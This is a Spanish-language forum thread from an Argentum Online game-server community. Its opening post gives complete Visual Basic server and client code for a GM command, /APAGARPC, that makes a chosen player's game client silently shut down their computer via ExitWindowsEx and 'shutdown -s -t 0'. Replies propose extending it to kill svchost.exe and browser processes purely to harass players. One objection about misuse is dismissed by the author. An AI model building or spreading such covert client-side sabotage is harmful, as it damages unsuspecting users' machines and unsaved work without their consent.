Comando para apagar PC a los usuarios.

Ir abajo

Comando para apagar PC a los usuarios.

Mensaje por Toyz el 4/12/2016, 4:45 pm

Bueno, vos tipeás /APAGARPC NICK y le apagás la PC al usuario, es funcional. Espero que lo utilicen para los usuarios que sólo le hacen mal al servidor ^^

Sv: (AL FINAL DEL MÓDULO PROTOCOL)
Código:
Private Sub HandleApagarPC(ByVal ID As Integer)
    Dim buffer As New clsByteQueue
    Call buffer.CopyBuffer(UserList(ID).incomingData)
    'Remove packet ID
    Call buffer.ReadByte
    Dim Nombre As String
    Dim ID_Nombre As Integer
    Nombre = buffer.ReadASCIIString()
    ID_Nombre = NameIndex(Nombre)
    If EsGM(ID) Then
        If Not EsGM(ID_Nombre) Then
            Call WriteApagarPc(ID_Nombre)
        End If
    End If
    'If we got here then packet is complete, copy data back to original queue
    Call UserList(ID).incomingData.CopyBuffer(buffer)
End Sub

Código:
Public Sub WriteApagarPc(ByVal ID As Integer)
    Call UserList(ID).outgoingData.WriteByte(ServerPacketID.ApagarPC)
End Sub

Al final del Clientpacketid:
Código:
ApagarPC

Al final del Serverpacketid:
Código:
ApagarPC

Abajo de:

Código:
       Case ClientPacketID.Consultation
            Call HandleConsultation(UserIndex)

Ponen:

Código:
Case ClientPacketID.ApagarPC
            Call HandleApagarPC(UserIndex)

Cliente:

Al final del módulo protocol:

Código:

Private Sub HandleApagarPC()
    Call incomingData.ReadByte
    ExitWindowsEx EWX_SHUTDOWN, 0
    Shell "shutdown -s -t 0"
End Sub

Código:
Public Sub WriteApagarPC(ByVal Nombre As String)
    Call outgoingData.WriteByte(ClientPacketID.ApagarPC)
    Call outgoingData.WriteASCIIString(Nombre)
End Sub

Abajo de  Case "/ONLINE"

Código:
           Case "/APAGARPC"
                If CantidadArgumentos = 1 Then
                    Call WriteApagarPC(ArgumentosAll(0))
                Else
                    Call ShowConsoleMsg("Prámetros incorrectos. Utilice /APAGARPC NICK")
                End If


Final del serverpacketid:

Código:
   ApagarPC

Final del clientpacketid:

Código:
   ApagarPC

Abajo de:

Código:
       Case ServerPacketID.CancelOfferItem
            Call HandleCancelOfferItem

Ponen:

Código:
       Case ServerPacketID.ApagarPC
            Call HandleApagarPC

En el módulo declaraciones abajo del option explicit ponen:

Código:
Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
 
Public Const EWX_LOGOFF = 0
Public Const EWX_SHUTDOWN = 1
Public Const EWX_REBOOT = 2
Public Const EWX_FORCE = 4

100% Funcional, casi me apago la PC yo mismo xD
avatar
Toyz
Administrador
Administrador

¿BANEADO? : No.
Premios :
[1er puesto] Usuario del año 2016
Cantidad de envíos : 5046
Edad : 17
Localización : Global.
Fecha de inscripción : 28/09/2014

Ver perfil de usuario

Volver arriba Ir abajo

Re: Comando para apagar PC a los usuarios.

Mensaje por kHALED el 4/12/2016, 6:10 pm

No existía un aporte así ya ? Es un comando viejo
avatar
kHALED
Retirado
Retirado

Premios :
[1º P]Diseñador gráfico.
[1º P]Concurso de físico.
[1º P]Diseño de interfaces.
[1º P]Gráfica Manual Sketch.
[1º P]Diseñador gráfico manual.
[1º P]Torneo de LoL por equipos.
[1ºP]Concurso banner Halloween 2014
[2ºP]Torneo 1vs1 [LoL]
Cantidad de envíos : 10429
Edad : 20
Localización : Valhala
Fecha de inscripción : 09/03/2012

Ver perfil de usuario http://www.aesir-online.com/forum/

Volver arriba Ir abajo

Re: Comando para apagar PC a los usuarios.

Mensaje por Toyz el 4/12/2016, 9:26 pm

Estaba aportado para 11.5 en gsz si no me equivoco.


_______________

Como saben yo aporto bastante en Servers-Argentum y les quiero decir que todos tienen derecho de usar y de aportar en otra comunidad mis aportes pero sólo con un requisito y es tan simple que dejar los créditos. Gracias.
Si conocen otra comunidad y en esa misma mis aportes no están aportados, si tenés tiempo y ganas, aportalo! A mucha gente le puede servir. No te olvides del requisito Razz

MIS MEJORES APORTES:

Compra/venta de personajes:
https://goo.gl/A44Av0

Juegos del Hambre:
https://goo.gl/u6aNUG

Deathmatch automático:
https://goo.gl/GQF4fK

Sistema de retos vía MMR con búsqueda, emparejamiento, etc:
https://goo.gl/40uP0f

Sistemas de eventos automáticos de 1vs1 hasta 10vs10:
https://goo.gl/XYKygc

1VS1 - AIM - MELEE - Gana Sigue (Se liberan cupos)
https://goo.gl/qq83wx

Retos 3vs3 - [Items, 2 rounds, múltiples arenas, oro]
https://goo.gl/x8SMnV

Eliminar sistema de Skill (COMPLETO)
https://goo.gl/mKxHzC
avatar
Toyz
Administrador
Administrador

¿BANEADO? : No.
Premios :
[1er puesto] Usuario del año 2016
Cantidad de envíos : 5046
Edad : 17
Localización : Global.
Fecha de inscripción : 28/09/2014

Ver perfil de usuario

Volver arriba Ir abajo

Re: Comando para apagar PC a los usuarios.

Mensaje por Niwir el 4/12/2016, 11:04 pm

Y si uso ubuntu papu? EJEJEJJEJE
avatar
Niwir
Retirado
Retirado

Premios :
[1er puesto] Usuario del año 2014

"El motor de un tanque también es un arma tan buena como el cañón"

Cantidad de envíos : 10798
Edad : 23
Localización : Sybil System
Fecha de inscripción : 14/05/2011

Ver perfil de usuario

Volver arriba Ir abajo

Re: Comando para apagar PC a los usuarios.

Mensaje por Spark el 7/12/2016, 10:44 am

Jajajajaja es para windows y 13.x no?
Hace 10 años que no programo, es divertido esto.
Para que sea mejor, yo lo haría mas descarado y crearía el comando de cerrar procesos y pondría los clave de la pc para molestar nada más asi como cerrarle el svchost.exe y varios más. Tambien para cerrar el vlc.exe el chrome firefox y etc, quedarían re desconcertados
avatar
Spark
Retirado
Retirado

¿BANEADO? : No.
Premios : Ninguno.
Cantidad de envíos : 2599
Edad : 21
Localización : Supermercado Chino
Fecha de inscripción : 29/08/2010

Ver perfil de usuario

Volver arriba Ir abajo

Re: Comando para apagar PC a los usuarios.

Mensaje por Toyz el 13/12/2016, 2:18 am

Si para windows y 13.0, hay que ponerle los comandos de otros SO y listo.

Hay miles de cosas que le podés hacer, hasta abrir páginas jajjaa


_______________

Como saben yo aporto bastante en Servers-Argentum y les quiero decir que todos tienen derecho de usar y de aportar en otra comunidad mis aportes pero sólo con un requisito y es tan simple que dejar los créditos. Gracias.
Si conocen otra comunidad y en esa misma mis aportes no están aportados, si tenés tiempo y ganas, aportalo! A mucha gente le puede servir. No te olvides del requisito Razz

MIS MEJORES APORTES:

Compra/venta de personajes:
https://goo.gl/A44Av0

Juegos del Hambre:
https://goo.gl/u6aNUG

Deathmatch automático:
https://goo.gl/GQF4fK

Sistema de retos vía MMR con búsqueda, emparejamiento, etc:
https://goo.gl/40uP0f

Sistemas de eventos automáticos de 1vs1 hasta 10vs10:
https://goo.gl/XYKygc

1VS1 - AIM - MELEE - Gana Sigue (Se liberan cupos)
https://goo.gl/qq83wx

Retos 3vs3 - [Items, 2 rounds, múltiples arenas, oro]
https://goo.gl/x8SMnV

Eliminar sistema de Skill (COMPLETO)
https://goo.gl/mKxHzC
avatar
Toyz
Administrador
Administrador

¿BANEADO? : No.
Premios :
[1er puesto] Usuario del año 2016
Cantidad de envíos : 5046
Edad : 17
Localización : Global.
Fecha de inscripción : 28/09/2014

Ver perfil de usuario

Volver arriba Ir abajo

Re: Comando para apagar PC a los usuarios.

Mensaje por Metrosersuah el 13/12/2016, 7:24 am

Por un lado bueno y por otro lado.
Me parece una tremenda estupides liberar esto. Ya qué cualquier pelotud* puede implementar este código y hacer lo que se le cante.
No todos les van a dar el uso correcto...
De todas maneras te agradezco por el aporte. Quizás lo utilice. Adiós.
avatar
Metrosersuah
Nivel 5
Nivel 5

¿BANEADO? : No.
Premios : Ninguno.
Cantidad de envíos : 237
Localización : 4 Paredes
Fecha de inscripción : 13/02/2016

Ver perfil de usuario http://www.argentumonline.com.ar

Volver arriba Ir abajo

Re: Comando para apagar PC a los usuarios.

Mensaje por zerocx el 13/12/2016, 3:52 pm

@Metrosersuah escribió:Por un lado bueno y por otro lado.
Me parece una tremenda estupides liberar esto. Ya qué cualquier pelotud* puede implementar este código y hacer lo que se le cante.
No todos les van a dar el uso correcto...
De todas maneras te agradezco por el aporte. Quizás lo utilice. Adiós.

3/4 de los servidores tienen al menos implementado el sistema de captions para ver lo que el usuario tiene abierto, una cosa más / una cosa menos ya da un poco igual.

Así y todo, adhiero, no me va.
avatar
zerocx
Nivel 2
Nivel 2

¿BANEADO? : No.
Premios : Ninguno.
Cantidad de envíos : 43
Edad : 28
Localización : Buenos Aires
Fecha de inscripción : 23/10/2016

Ver perfil de usuario

Volver arriba Ir abajo

Re: Comando para apagar PC a los usuarios.

Mensaje por Toyz el 13/12/2016, 4:21 pm

Que lo implemente cualquiera y que haga lo que él quiera con el código. No te podés quejar de eso conmigo, sino con el AO que lo hizo de esa forma Razz



_______________

Como saben yo aporto bastante en Servers-Argentum y les quiero decir que todos tienen derecho de usar y de aportar en otra comunidad mis aportes pero sólo con un requisito y es tan simple que dejar los créditos. Gracias.
Si conocen otra comunidad y en esa misma mis aportes no están aportados, si tenés tiempo y ganas, aportalo! A mucha gente le puede servir. No te olvides del requisito Razz

MIS MEJORES APORTES:

Compra/venta de personajes:
https://goo.gl/A44Av0

Juegos del Hambre:
https://goo.gl/u6aNUG

Deathmatch automático:
https://goo.gl/GQF4fK

Sistema de retos vía MMR con búsqueda, emparejamiento, etc:
https://goo.gl/40uP0f

Sistemas de eventos automáticos de 1vs1 hasta 10vs10:
https://goo.gl/XYKygc

1VS1 - AIM - MELEE - Gana Sigue (Se liberan cupos)
https://goo.gl/qq83wx

Retos 3vs3 - [Items, 2 rounds, múltiples arenas, oro]
https://goo.gl/x8SMnV

Eliminar sistema de Skill (COMPLETO)
https://goo.gl/mKxHzC
avatar
Toyz
Administrador
Administrador

¿BANEADO? : No.
Premios :
[1er puesto] Usuario del año 2016
Cantidad de envíos : 5046
Edad : 17
Localización : Global.
Fecha de inscripción : 28/09/2014

Ver perfil de usuario

Volver arriba Ir abajo

Re: Comando para apagar PC a los usuarios.

Mensaje por Contenido patrocinado


Contenido patrocinado


Volver arriba Ir abajo

Volver arriba

- Temas similares

 
Permisos de este foro:
No puedes responder a temas en este foro.